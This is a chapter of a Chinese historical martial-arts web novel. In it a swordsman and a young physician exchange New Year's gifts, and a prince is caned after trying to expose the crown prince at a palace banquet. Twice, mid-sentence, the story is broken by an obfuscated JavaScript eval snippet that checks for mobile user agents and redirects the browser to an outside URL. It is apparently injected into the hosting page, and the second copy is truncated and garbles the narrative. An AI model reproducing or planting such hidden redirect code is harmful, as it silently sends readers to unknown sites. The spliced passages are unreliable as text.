山黛得了礼物不再强留,任由江南出去了。 “师兄,你在王府的差事虽然我不便打听,但最近京城的风声似乎都偏向了屿王,是否要变天我不知,但我知道早晚要有大变故,届时若有需要帮忙的地方,千万要来叫我。” 他离开卷云洞的时候,江北这样对他叮嘱道。 此刻已过酉时,恐怕皇宫里的饮宴还尚在欢愉之中,师门中又总逃不过责骂与羞辱,他独自走在黑夜下的林中,一时竟不知该去何处。此刻雪势微弱,月亮挂在树影婆娑之后,十分静谧,只有雪稀稀落落盖在竹叶上的声音,但在不远处的林子之外,便是繁华京城的中心,处处灯火通明,时时欢声笑语。 就这样怅然若失地走着,他武力已全然恢复,然而心中还是觉得自己说不出哪里却似乎又到处都是破碎不全的,细小的雪花不知退缩一样不停落下,飘在空中时看似冷若冰霜,桀骜潇洒,然而刚落到地上便化了,留不下一丝痕迹,甚至捻不起一滴水来,直到成千上万片后,才有可能累成积雪之势,被人瞧见,也被人发现。他眼下并不想离开这片能够隐匿包容自己残破躯体的竹林,可最先打破这份失落的竟是腹中隐隐又感到有些饥饿。没吃主食,干耗下去也是无益,想必王府的厨房已经熄火了,正适合自己悄去弄点吃的。 如此盘算着,他一路施展轻功往回,很快就翻墙跃进了王府,而刚到厨房门口,便听到附近传来脚步声响,然而那声音一听即知是全无武功之人发出的,他悄悄躲去对面连廊的拐角后头,不久看到一身披粉色斗篷的少女轻快地走了过来,她径直迈进厨房,从蒸笼底下寻出了一屉半成的肉末排骨,上锅,点火,舀水,焖盖,直过了半刻时间,香气才传散了出来。 灶台上有一开着的双扇圆窗,她此刻正干等着无聊,便斜支着脑袋,伸出一只手去接雪,又透过圆窗去看那天上飘着雪的月亮。江南半依靠在对面的墙角边,他将自己全然隐没在黑暗里,静静看着窗后的赏月人。 石焉等到可起锅开盖了,便用纱布包着端出排骨,正想着用手捏起一块尝尝鲜,却又犹豫地顿住了,她抬眼,若有似无地朝对面一排连廊的墙角处看了一眼,随后放下了手,将整碟排骨盖好盖子,放至一旁的托盘之上,端着便走了出来。 江南在后头远远跟着,直到她回了王妃的后院,却不进房,而是去到了院内草坪中扎的一架秋千旁,她用手绢擦去座上的潮湿后坐下,脚尖随意点了两下,才不疾不徐地随着荡悠的长椅,捏起一块排骨品尝起来。他躲在院门之后,见她吃得满足,腹中馋虫即被勾得更起,他忍耐半晌,口水一咽再咽,终于打定主意。 他先是后退两步,而后又缓步走出,假装无意经过似的,故意停在院门前,自然地朝里张望一眼,恰好就和啃着排骨的石焉对视上了,后者见他出现在此,便招手道,“江南?” “石姑娘,我…夜间巡查下后院,以防有什么年节盗贼。”他喉头上下滚了滚,生涩地开口言道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253681|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不管自己这话中有无破绽。屿王的府邸,从不需要动用江南去抓什么小偷盗贼,何况他出行皆在暗处,更加不可能在此明目张胆地进行什么巡查。然而石焉还是十分捧场地应声道,“我知道。” “你知道?”江南踱步走近,不解她话中意思。 对方却不再谈论于此,而是指着排骨笑道, “我今日晚饭时没什么胃口,现在反倒饿了。” “我也是。” “那不如一起?”石焉脚掌触地,停住了秋千。她原本便比寻常女子高挑不少,此刻坐在秋千上,双脚毫不费力便可踩住地面,她说着往秋千的一旁挪了挪,腾出个位子。江南见她大方坦荡,自己虽然心有戚戚,却也还是在旁边坐下了。 接过两块排骨,趁热赶紧吃了,他心中想起一事,不知此刻是不是机会,筹措再三,而后轻声道, “今日除夕,其实我有件礼物要给你。” “我也是。” “什么?”他惊道。 我也有礼物?这后半句他却未说出声来。 江南遂接过石焉手中的碟子,连同骨头一并扔进托盘里,放到长椅的一侧后,又用衣摆擦了擦手,才从自己胸前墨色的衣襟里摸出一支牙黎,递了过去。 “书签?”石焉瞧着眼前的这支长形牛骨薄片,眼睛骤然亮了起来。她谨慎地接过,小心翼翼用手抚摸过去。从前所见过的书签,偶尔有用印花绫绢贴在纸板上的,便算得上是顶讲究的了。可眼前这支牙黎,却要精致美丽得多了。 只见牛骨薄片的正反表面皆着铜色,其上又雕了多处镂空,且在边缘之处打磨了诸多参差齿轮,这些齿轮状似枫叶,却并不锋利,而最难得的,便是在整支薄片之上嵌入了一株淡粉干花,它被镶于薄片之中,又恰好从几处镂空之处攀长出来,完整看去,与铜色的枫叶相生相长,黄与粉交叠,在冬日里显得格外温暖,也格外好看。 “这种花我也不知道叫什么,不过是野花罢了,我是在一座山上偶然寻得的,但这一株已经是其中最好看的了。我看你喜欢读书,又喜欢自己写注,就找了金陵很多家工艺师傅,想打支牙黎送你,可我唯有想法,却没有手艺。最后也只找到了这唯一一家能将鲜花制成干花,还能和这牛骨片融为一体的,不过他的工艺很厉害,做的比我想象中更加好。” “虽不知名,但此花形状却好,更有股坚韧与倔强之气。和薄片合二为一,像叶中生花,又似是花折叶茎,这支牙黎正是我现在需要的,我特别喜欢!谢谢你。” 江南听她将书签赞的如此不寻常,不好意思地笑笑,心里暗叹读过书的有才之人连看花都能有许多心得,且送出的礼物受到珍视,还有比这更开心的吗? “谢谢你,喜欢它。” 石焉欣然又道,“你等我一下,我这就去把它放回屋中,夹进书里去。” 她转身进了屋里,再出来时,却举了一把长形物件,外头还包了一层厚布,却不知里面是什么。江南见她举得不轻松,立刻上前接过,他一拎便知,是刀。 “你送我的,刀?” 石焉莞尔一笑,道,“我的礼物和你的比起来,可是普通太多了。这不过是我从一家寻常打铁铺子里买来的,也不知称不称你的手。” “不普通不普通!我本也配不上什么名刀,反倒是寻常刀剑更惯我的手。” 石焉听他又在言语中贬低自己,刚想出声反驳,却见他正准备掀了蒙布,低着头专心致志地期待着新刀的庐山真面目。石焉一时语塞,不忍在此刻说些什么,便也跟着一并向那刀看去。 厚布遮开的一瞬间,刀面利刃便同屋顶月光一道,折在条共线上,撞了个锋芒四射。 他挥刀舞了两下,自觉十分得心应手,一时兴起,便道,“不如我打一套卷云刀法给你瞧瞧?” “好啊,那我就有幸一观了!”石焉从未见过他像此刻,脸上笑容竟带有一丝狡黠之意,好像在这瞬间压住了深植她心底的那一抹画中的狠厉,自是也跟着高兴地应下了,她提裙走回秋千处坐下,慢悠悠晃了起来。 于是院前的宽阔之地上,江南只一袭黑色的单衣劲装,他右手持刀,一收一横,便行云流水地舞了起来,卷云刀法凌厉无比,一招一式间不仅快至无匹,更在他的手里将每一招数都发挥到了极致,他练功向来最是勤勉努力,即便是旧刀已折,新刀又还未够银两去买,他便用树枝木棍等等代替,日日无休。今日他的招式,已又与往日不可同日而语。他打得干净,马尾在淡雪落下间飘扬起来,十分俊逸,此刻虽不用内力,然而他舞起刀法来,反而显得更加洒脱飘逸,敏捷刀法与此刻的徐缓雪景一快一慢,合而交融,大有观赏之美。 细腻冷落的月色照将下来,江南的黑衣在夜色中并不显眼,然而唯有一柄长刀时不时引出缕银白飞雪,同月光擦出些利落的光华,石焉坐在一旁细细瞧着,冬风寒冽,吹得她手足冻到发僵,却打不进她的心里似的,胸中除了赞赏与震撼,更有些钦佩与感动,然而这些情绪渐渐过去,她又感到一种揪心来。 五位掌门被杀一案,她虽知他是奉屿王的旨意行事,然而这残酷命案他到底是做下了。即便他后来亦做过善良之事,即便她信他能从头来过。然而那已经被害的人命,却是回不来的,她们的冤屈仇恨,亦有权来报,日后若宋家姐妹来找他寻仇,她更是没有资格从旁插手。 眼前他恣意年少的身影,原是少之又少见的。 这么想着,耳边却突然传来大声地喧哗,似乎是来自王府门口的方向,两人一道停了下来。江南留下一句“我去看看”便跃上屋顶,转眼就不见了身影,石焉则急跑几步,直到出了后院,才听到前头的小厮正在窃语。 “听到了吗?门口的侍卫回来报信说殿下在夜宴上见罪于陛下,被赶了出去还打了二十板子!” “可不是吗!恐怕咱们王府要有大变故了!” 42. 第六章第九节 屿王夫妇和顾念怀三人从宫中回来的时候,已是深夜,据说屿王伤得厉害,连路都走不了,是生生被人从马车里抱出来抬进府的。 江南在暗处远远看着,即便是在荒山时屿王亲近的那五十护卫,也只是见过一眼他的面目,其余一概不知,府中仆从则更加如此,因此他此刻虽着急,也只得按着性子默默等待。此刻前头一片人仰马翻,处处狼藉,众人手忙脚乱地在屿王房中进进出出,不一会便见顾念怀引了位太医入内,而从屏风后依稀可瞧见王妃忧虑的身影。直到后半夜屿王安睡下了,她才关上房门,送了太医出来。 因为是挨的板子,所以石焉虽有王府女医的名号,却也是不便进去查看,她遂一直候在外头的屋檐下,见王妃出来,便上前一道将太医送走之后,她方道,“你自己这头也才四个月,先回去睡一觉歇歇吧?” 祝之笺遣去侍女,转过头来握住石焉的手,她眼中竟有泪意,刚想说些什么,却突然感到手中似握了一块寒冰一般又湿又冷的刺骨,她赶紧将自己随身的手炉塞到对方手中,“快,你从小就体质阴寒,雪天里冻了这么久手都成僵的了!走,回我的房间去暖和暖和,我与你边走边说。” 雪势从傍晚开始便逐渐转大,这会儿地上刚积了一层薄雪,脚步一下一下地踩过去,发出不轻不响的吱呀声,人行渐远,脚印却还未那么快就被覆盖,她们都未打伞,雪花飘在发上,间或又落去睫毛间,很快再沾染上衣领,一时就连两人斗篷上的浮毛到底是鹅羽还是白雪都分不清了。 满眼的通红灯笼、团圆窗花里,只有漫天的雪,和步履匆匆的人。 三个时辰前永宁宫门外 细碎的雪时不时飘落进红墙红柱的宫廊,一片红白交织,天色正是近于明暗交替之时,廷内的灯早已点起来了,处处挂着明彩纸笼,叫人看一眼便觉得温暖喜庆。此刻宫外飞雪中,正由宫人们带着,远远走来了两位步履端庄的贵人。 “参见屿王殿下,参见屿王妃。”说话的是宫中负责接待亲贵的一位老太监,他在宫中的年岁已逾数十年,看人的本事自是与众不同,眼前这位屿王可是皇上近来的头一号红人,因此他说话的语气都带有几分与众不同的腔调。 躬腰堆笑着上前一步,他伸手掸去屿王肩上的浮雪,又亲自解去屿王领前系的绣金斗篷,“殿下今儿来得早,黛妃娘娘抱着病,来不了了,因此皇上这会儿正在娘娘宫里陪着呢。殿下与王妃请先入内安坐吧。” 皇帝以往每年这时都会在皇后宫中,更会和皇后与太子一道同来赴宴,然而今年太子失势,自然今时不同往日了。屿王应声笑笑,任由他替自己解去斗篷外套,整理好着装。“本殿并不是个孝顺的儿子,母妃已病了一月有余,我却未去侍奉一日,还得劳烦父皇,照顾母亲。” “哎哟,要不说殿下人是最得力的呢!谁不知道您从益州回来就马不停蹄替皇上各处办差,没停下得过空。皇上和黛妃娘娘体谅殿下,才免了您请安。可别冻坏了您,快进去暖着等吧。”说笑着,太监遂弯了身子将屿王恭迎进去。 不多时,几位皇子连同着家眷都到了,免不了大家互相一番寒暄,而皇后和太子到的也不算太晚,众人见皇上并未陪在这对母子身边,都是低着头不敢言语。直到君王独自驾临,歌舞宴会才开始了。席间推杯换盏,觥筹交错,的确是一副和谐光景。除了一样,那便是皇帝整晚都未与太子一副好脸色,就连后者拜年祝酒之时,都没举杯回应,席上之人都清楚,皇后和太子的位置,恐怕皆要坐到尽头了。 “不仅如此,皇上还主动再次提及了殿下的功劳,又亲自夹了菜叫贴身的李公公传过来,甚至还问及我的身子是否安好,说十分盼着我能给皇家再添一位鳞儿。” 祝之笺和石焉已回到了后院房中,墙后的暖阁烘得整个房间都十分暖和,谈及晚宴席间的事,祝之笺仍然十分后怕,原本父慈子孝的局面,竟也可以突然就翻了脸。 “那兄长被杖责,究竟是怎么回事?”石焉给祝之笺倒上热茶,问道。 祝之笺捧起茶碗,看着热烟打卷儿似的升腾起来,很快就散了,双眸盯着微微荡漾的茶面,也被熏得湿润起来,她想起屿王被杖前的场面。 大殿上一直欢声笑语,唯有太子神色尴尬,坐立难安,屿王虽心里好笑,但面上也并未表现出半分嘲弄与鄙夷之意,他照常在向帝后拜年之后,极恭敬谦卑地端起酒杯向太子致了新年祝贺之意。其余皇子后妃、王爷家眷,无不赞叹他的得体与礼让。 事情的突变发生在宴席临近尾声之时,屿王趁歌舞间隙,起身至大殿正中,他朝皇帝跪下磕了个头,从怀中拿出一叠状纸,高举过头顶,朗声道,“父皇,此刻除夕家宴,儿臣有一重大事项,自得知之后日不能食,夜不能寐,此事关乎朝廷冤情,更关乎皇室子弟,故儿臣不得不于今日,当着父皇与诸位兄弟的面,共同揭示出来,以作陈情!” 此话一出,大殿瞬静,他伏在地上不知上座的帝王是何表情,眼睛努力朝上看去,然而目之所及也只有金灿灿一片华贵器具的灼人光华。等不到皇帝开口,他便继续大声道,“父皇,儿臣手中此状正是证据,其上……” “祝儿。”皇帝用手绢抹了抹嘴角,适时地唤道。 他猛地被打断,兀然抬起头,帝王的表情是与他言语中的亲切不相符的肃穆,他看不出对方脸上的意味,可就在下一瞬,他的眼神突地顿住了,好像看见了什么不适宜的东西。还未来得及确认那是什么,而皇帝身侧的李公公,正来到自己面前接过状纸,随着他的靠近,那身影恰巧被盖了过去。 他心中隐隐有种不好的预感。 立刻再度伏底身子,他高举着状纸,等李氏拿过又向皇帝呈去了,为防节外生枝,他决定接着道,“其上详细记录了…” “屿王!”皇帝再次喝止了他。 他叩在地上,心中砰砰跳得越来越厉害,而与此同时李氏的脚步才刚刚回到皇帝身边,紧接着就是“啪”地一声响,显然后者看都未看一眼,就将那状子拍在了桌上。 他恍然大悟,心知自己中了算计,然而此刻已是箭在弦上不得不发,纵使皇帝一句比一句唤得严肃,他亦坚信不到最后,就仍有一丝可搏之机。重新立起腰板,直视着高高在上的君王,他不管不顾道,“记录了太子殿下于十年……” “来人!拖下去!杖二十!” 天颜顿时震怒,皇帝怒睁着眼睛,他右掌还压在那状子上,按得如此紧,生怕它会自己长出翅膀逃离这座五指山似的,他身体倾向前来,嘴巴微张喘着粗气,几乎是不停顿地连发出三句号令。 众人皆被皇上突然发作起来的雷霆之怒吓得噤了声,铁甲铁面的禁军侍卫却已然快速进入殿内,将他牢牢围在中间。 失望,恐惧,心痛,难以置信,所有的情绪筑成了一面又高又厚的浪,冲击着向他席卷而来。 他使劲咬了咬牙,而后将所有的话一起吞咽了下去。 顾念怀还站在屿王原本席位的下首处,他看着这副场面,着急地想要走上正中去,替殿下说完那没说完的话,口中“皇…”字刚出,袖端却一把被祝之笺抓住拦下。 她一直在邻座上安坐着,从屿王走出去开始,短短一刻钟,她几乎是连最差的后路都想好了。 “闭嘴,退下。”她声音很轻,然而话里的严厉却不容置疑。 “今日若不是王妃拦着,属下定要冲上去把殿下的话说完!就差一点,就差一点太子的罪孽就能公之于众了!” 顾念怀悔恨地道,他身旁站着江南,两人此刻双双立在屿王的床前。 “幸好她把你拦住了!”沈谛祝的声音空洞地传来。 “她是在为我们,留一条退路。” 他趴在床榻上,头埋在枕头里,叫人看不见表情。他原本怕王妃担忧过度,便假装睡下以让她早点回去休息,然后等到她离开之后,才又叫来顾念怀和江南,重说起今日发生的事。打断小顾后,他支起胳膊枕住一边脑袋,神情木然,眼中尽是颓败。 “你以为就差一点,可实际还隔着十万丈八千里。又或许,这本就是我们自以为的一场大梦。他们编好了陷阱,只等我们自己跃进来。”他自嘲地笑笑,眼睛一点一点看向他们,又一点点落去地上,“父皇骗了母妃,骗了我,骗了所有人。” “殿下…”顾念怀劝道,“您早知道皇上偏心,所以我们才需要步步为营处处筹谋不是吗?这条路从一开始就是举步维艰,太子唾手可得的东西我们都要拼尽全力去争才行,今日之事定会探及皇上底线也是咱们预料之中的啊!可为何您…为何您今日不坚持把话说完呢!?只要您念出太子的罪过,大殿里几百只耳朵,难道皇上还能一一割去不成?” 他知道顾念怀在遗憾,遗憾自己临阵退了缩。 可当他跪在永宁宫的中央,猛地被打断,兀然抬起头,看到皇帝眼里的冷漠与绝情,这表情与他唤自己乳名时的亲切是完全不相符的肃穆,他看不出对方脸上的意味,却不小心看到了描龙殿墙的后头,有铁甲的身影。而他还未确定那是什么,便再次伏低了身,磕下了头。 直到皇帝最后大发雷霆,自己被紧紧包围,他盯着自己的父皇,终于确定了藏在墙后那一闪而过的身影是什么,那样的铁甲,和周围禁军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他想起小时候总在殿外等着父皇与太子谈天说地,往往等到天黑才能进去请安一刻,他总以为那是天底下所有父亲都会对长子该有的教导和无法避免的偏爱。他以为自己和大哥之间在父皇心里虽有距离,却不至于是鸿沟,总能追上的。 “他明明从小就对我平平,是我不知自己几斤几两,不顾廉耻地一次又一次贴上去。直到现在,我以为我总算得到了父皇的重视,得到了他只有对太子时才会有的夸奖和赞许,谁知,都是为我一人沉迷的假象,都是为了尽快让我掉以轻心而主动亮出后招以绝后患的假象啊!谁知他在对我笑的时候心里是不是恨透了我与太子作对?谁知他虚与委蛇的时候自己犯不犯恶心啊!!” “殿下…”江南从没见过屿王如此失态的样子,他着急唤道。 “我为什么今日不说下去了?”他没有理会,自顾自地又道,“今日殿上那些禁军来得何其之快!一场家宴,如何需要带刀侍卫环伺在侧!那些还只是让人看见的,看不见的呢?我若再多说一个字,只怕立时就会有利箭封喉。”又是一阵悲痛欲绝地笑声,“这些摆明了就是他与太子提前布置好的!他摆明了,就是不可能让我再多说一个字的!” “那…那岂不是……”顾念怀此时热血下去,才暗暗心惊后怕起来,他没有说下去,但也知道,今日之事,事成了,是他们威胁皇上废太子,事败了,宴上的二十杖刑恐怕只是个开始,他们的性命会受到威胁才是真。 “幸好殿下在筹谋之初,就让母妃装病,避开今日的除夕之宴,又假装自己事忙一直抽不出时间去看望,因此今日之事,至少不会让皇帝疑心是他与母妃里应外合,共同谋划的。我父亲又早早远去了南郡治水,一时半会也没法被扯上关系。” 祝之笺的手攥成了拳头,修长的指甲也都掐进了肉里,她神情肃穆,继续道,“皇上三次打断,因此殿下只说到了太子十年前,却没说出口接下来的太子之罪,皇上此举是为了袒护太子,却也让其自己没有理由能给殿下安上任何类似弹劾储君一类明面上的罪名。按殿下如今的地位,突然的杖责二十已让众人一头雾水了,若要再株连他人必定会物议如沸。因此,只要母妃和祝家不被牵连,便是我和殿下连同肚子里的孩子一并都付出去,也没什么。” “皇上是铁了心要传位于太子。其实不仅兄长,连我也一直以为他在对兄长和太子之事上,只是有些偏心,我以为以兄长的才能是可以与太子争上一争的,谁曾想…他一早就打定了主意,我们再怎么争都没用。大家都被皇上蒙蔽了,他的心思和七年前一样,我们都看不透。”石焉看着眼前的局面,想起父亲当年或许也是被这样推入深渊的,难道同样的结局,还要在屿王府重演一次吗? “不过这次,或许还来得及。”祝之笺看着石焉,定定道。